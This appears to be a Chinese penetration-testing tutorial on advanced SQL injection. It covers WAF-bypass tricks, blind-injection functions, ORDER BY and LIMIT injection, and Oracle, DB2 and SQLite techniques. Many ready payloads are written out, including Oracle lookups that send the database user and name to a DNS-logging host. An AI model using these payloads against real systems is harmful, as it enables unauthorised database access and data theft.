黑盒sql注入测试进阶篇
字数 2532 2025-08-10 08:28:13

黑盒SQL注入测试进阶指南

前言

本文档详细讲解黑盒SQL注入测试的高级技术,主要针对无错误回显的注入场景,涵盖盲注技术和WAF绕过方法。这些技术在系统上线前的渗透测试中尤为实用。

基本绕过技术

1. 数据溢出

  • 通过插入大量垃圾数据或多个参数来绕过WAF检测

2. 参数污染

  • 利用WAF和Web服务器处理多个相同参数时的逻辑差异
  • 示例:当id=1user()被过滤时,构造id=us&id=er()

3. 编码技术

  • 使用服务器能识别但WAF无法识别的编码方式:
    • IBM加密
    • 二次编码
    • Base64编码

4. 请求修改

  • 改变请求方式:POST改为GET,HTTP改为HTTPS
  • 修改请求包为上传文件的数据包构造畸形数据
  • 请求URL添加JS白名单文件

5. 分块传输

  • 示例:将id=1'union select 1,2,3改为id=1'uni 1d on sel ect 1,2,3

6. 特殊符号插入

  • 单行注释:--#
  • 示例:id=1'union--%0a1--%0aselect--%0a1
  • 空白符:%00\u0007%80[0x09,0x0a-0x0d,0x20,0xa0]
  • 各种转义字符

7. 字符等价替换

  • 空格替换:/**/+%20%0a%00%a0()""%0d
  • 逗号绕过:
    • union select 1,2,3改为union select * from ((select 1)a JOIN (select 2)b JOIN (select 3)c)%23
    • substr((select database()),1,2)改为substr((select database()) from 1 for 2)
  • 逻辑运算符替换:
    • and = &&
    • or = ||
    • xor = |
    • not = !
  • 注释符绕过:用两个单引号闭合,如id=-1'or+'a'='a'+or+'a'='a

8. 延时技术

  • benchmark(count,expr):让expr执行count次来制造延时

盲注技术

1. 字符串截取函数

  • substring()
  • substr()
  • mid()
  • length()
  • left()
  • right()
  • insert()
  • trim()

2. 字符串连接函数

  • concat(str1,str2):连接两个或多个字符串
  • group_concat(str1,str2):多行结果用逗号分隔

3. 编码转换函数

  • ascii()
  • ord()
  • bin()
  • hex()

4. 数据库报错函数

  • exp(777)
  • cot(0)
  • pow(99999,999999)

5. 判断函数

  • if(1=1,1,1)
  • case when 1=1 then 1 else 2 end

6. 其他实用函数

  • greatest(n1, n2, n3...):返回最大值
  • least(n1,n2,n3...):返回最小值
  • strcmp(str1,str2):字符串比较
    • 相同返回0
    • 第一个小于第二个返回-1
    • 其他情况返回1
  • 示例:id = 1 and strcmp(ascii(substr(username,1,1)),117)
  • insert()函数用法:
    SELECT insert((insert(目标字符串,1,截取的位数,'')),2,9999999,'');
    

特殊注入场景

1. ORDER BY注入

原理特征

  • ORDER BY后跟字段名,无法预编译
  • 前端参数特征:orderbysort=id(字段名)desc(排序方式)

测试过程

  1. 将参数改为大数字测试(如sort=1000
  2. 添加不同字段观察页面变化(如sort=name
  3. 使用条件语句:
    • if(1=1,id,name):条件为真按id排序,为假按name排序
    • if(1=1,sleep(3),1):条件为真延时3秒
    • if(1=1,cot(0),id):条件为真报错
    • case when 1=1 then id else name end
    • case when 1=1 then 1/0 else name end
    • 数据注入示例:
      case when ascii(mid(user(),1,1))=11 then 1/0 else name end
      

2. LIMIT注入

适用版本:5.0.0 < MySQL < 5.6.6

技术要点

  • LIMIT后可使用PROCEDUREINTO函数
  • INTO需要写入shell权限

利用方法

  1. 报错注入:
    ?id=1 procedure analyse(extractvalue(rand(),concat(0x7e,database())),1);
    
  2. 时间型盲注:
    ?id=1 PROCEDURE analyse((select extractvalue(rand(),concat(0x7e,(IF(MID(database(),1,1) LIKE 5, BENCHMARK(5000000,SHA1(1)),1))))),1)
    

特定数据库技术

Oracle和DB2

特殊表

  • dual:虚拟表,保证只有一条记录
  • user_tables:存放当前数据库所有表
  • user_tab_columns:存放表的所有列

特性

  1. 查询必须带表名(可使用dual表)
  2. 单行子查询返回多行需使用where rownum=1
  3. rownum伪序列数总是从1开始

示例

  • 爆表:
    select table_name from user_tables where rownum=1
    
  • 爆字段:
    select column_name from user_tab_columns where table_name='tablename' and rownum=1
    

延时函数

  • DBMS_PIPE.RECEIVE_MESSAGE()
    id=1'/**/AND/**/DBMS_PIPE.RECEIVE_MESSAGE('a',4)='a
    

判断函数

  • decode(a,b,c,d):当a等于b返回c否则返回d
    decode(mid(user,1,1),a,cot(0),1)
    
  • instr(str,substr):返回substr在str中的位置
    id=1'and 1=(instr((select user from dual),'S'))
    

管道符利用

  • Oracle中||为字符串连接符
    id=a'|cot(0)|'
    id=a'|decode(user,a,cot(0),2)|'
    

数据外带

  • 查询用户名:
    and (select utl_inaddr.get_host_address((select user from dual)||'.dnslog地址') from dual)is not null --
    
  • 查询库名:
    and (select utl_inaddr.get_host_address((select name from v$database)||'.dnslog地址') from dual)is not null --
    

DB2特定技术

特殊表

  • syscat.tables
  • syscat.columns
  • sysibm.columns

爆表示例

id=-1 union select 1,current schema,tabname,4 from syscat.tables where tabschema=current schema limit 0,1

SQLite

常用函数

  • 版本查询:select sqlite_version()
  • 所有表名:SELECT name FROM sqlite_master WHERE type='table'
  • 表结构:SELECT sql FROM sqlite_master WHERE type='table'

盲注特性

  • sleep函数,可用randomblob(N)制造延时
  • if函数,用case when替代

总结

本指南涵盖了黑盒SQL注入测试的高级技术,包括各种WAF绕过方法、盲注技术和特定数据库的注入技巧。实际测试中应结合多种技术构造payload进行fuzz测试。

黑盒SQL注入测试进阶指南 前言 本文档详细讲解黑盒SQL注入测试的高级技术,主要针对无错误回显的注入场景,涵盖盲注技术和WAF绕过方法。这些技术在系统上线前的渗透测试中尤为实用。 基本绕过技术 1. 数据溢出 通过插入大量垃圾数据或多个参数来绕过WAF检测 2. 参数污染 利用WAF和Web服务器处理多个相同参数时的逻辑差异 示例:当 id=1 且 user() 被过滤时,构造 id=us&id=er() 3. 编码技术 使用服务器能识别但WAF无法识别的编码方式: IBM加密 二次编码 Base64编码 4. 请求修改 改变请求方式:POST改为GET,HTTP改为HTTPS 修改请求包为上传文件的数据包构造畸形数据 请求URL添加JS白名单文件 5. 分块传输 示例:将 id=1'union select 1,2,3 改为 id=1'uni 1d on sel ect 1,2,3 6. 特殊符号插入 单行注释: -- 、 # 示例: id=1'union--%0a1--%0aselect--%0a1 空白符: %00 、 \u0007 、 %80 、 [0x09,0x0a-0x0d,0x20,0xa0] 等 各种转义字符 7. 字符等价替换 空格替换: /**/ 、 + 、 %20 、 %0a 、 %00 、 %a0 、 () 、 "" 、 %0d 逗号绕过: union select 1,2,3 改为 union select * from ((select 1)a JOIN (select 2)b JOIN (select 3)c)%23 substr((select database()),1,2) 改为 substr((select database()) from 1 for 2) 逻辑运算符替换: and = && or = || xor = | not = ! 注释符绕过:用两个单引号闭合,如 id=-1'or+'a'='a'+or+'a'='a 8. 延时技术 benchmark(count,expr) :让expr执行count次来制造延时 盲注技术 1. 字符串截取函数 substring() substr() mid() length() left() right() insert() trim() 2. 字符串连接函数 concat(str1,str2) :连接两个或多个字符串 group_concat(str1,str2) :多行结果用逗号分隔 3. 编码转换函数 ascii() ord() bin() hex() 4. 数据库报错函数 exp(777) cot(0) pow(99999,999999) 5. 判断函数 if(1=1,1,1) case when 1=1 then 1 else 2 end 6. 其他实用函数 greatest(n1, n2, n3...) :返回最大值 least(n1,n2,n3...) :返回最小值 strcmp(str1,str2) :字符串比较 相同返回0 第一个小于第二个返回-1 其他情况返回1 示例: id = 1 and strcmp(ascii(substr(username,1,1)),117) insert() 函数用法: 特殊注入场景 1. ORDER BY注入 原理特征 : ORDER BY后跟字段名,无法预编译 前端参数特征: orderby 、 sort=id(字段名)desc(排序方式) 测试过程 : 将参数改为大数字测试(如 sort=1000 ) 添加不同字段观察页面变化(如 sort=name ) 使用条件语句: if(1=1,id,name) :条件为真按id排序,为假按name排序 if(1=1,sleep(3),1) :条件为真延时3秒 if(1=1,cot(0),id) :条件为真报错 case when 1=1 then id else name end case when 1=1 then 1/0 else name end 数据注入示例: 2. LIMIT注入 适用版本 :5.0.0 < MySQL < 5.6.6 技术要点 : LIMIT后可使用 PROCEDURE 和 INTO 函数 INTO 需要写入shell权限 利用方法 : 报错注入: 时间型盲注: 特定数据库技术 Oracle和DB2 特殊表 : dual :虚拟表,保证只有一条记录 user_tables :存放当前数据库所有表 user_tab_columns :存放表的所有列 特性 : 查询必须带表名(可使用 dual 表) 单行子查询返回多行需使用 where rownum=1 rownum 伪序列数总是从1开始 示例 : 爆表: 爆字段: 延时函数 : DBMS_PIPE.RECEIVE_MESSAGE() : 判断函数 : decode(a,b,c,d) :当a等于b返回c否则返回d instr(str,substr) :返回substr在str中的位置 管道符利用 : Oracle中 || 为字符串连接符 数据外带 : 查询用户名: 查询库名: DB2特定技术 特殊表 : syscat.tables syscat.columns sysibm.columns 爆表示例 : SQLite 常用函数 : 版本查询: select sqlite_version() 所有表名: SELECT name FROM sqlite_master WHERE type='table' 表结构: SELECT sql FROM sqlite_master WHERE type='table' 盲注特性 : 无 sleep 函数,可用 randomblob(N) 制造延时 无 if 函数,用 case when 替代 总结 本指南涵盖了黑盒SQL注入测试的高级技术,包括各种WAF绕过方法、盲注技术和特定数据库的注入技巧。实际测试中应结合多种技术构造payload进行fuzz测试。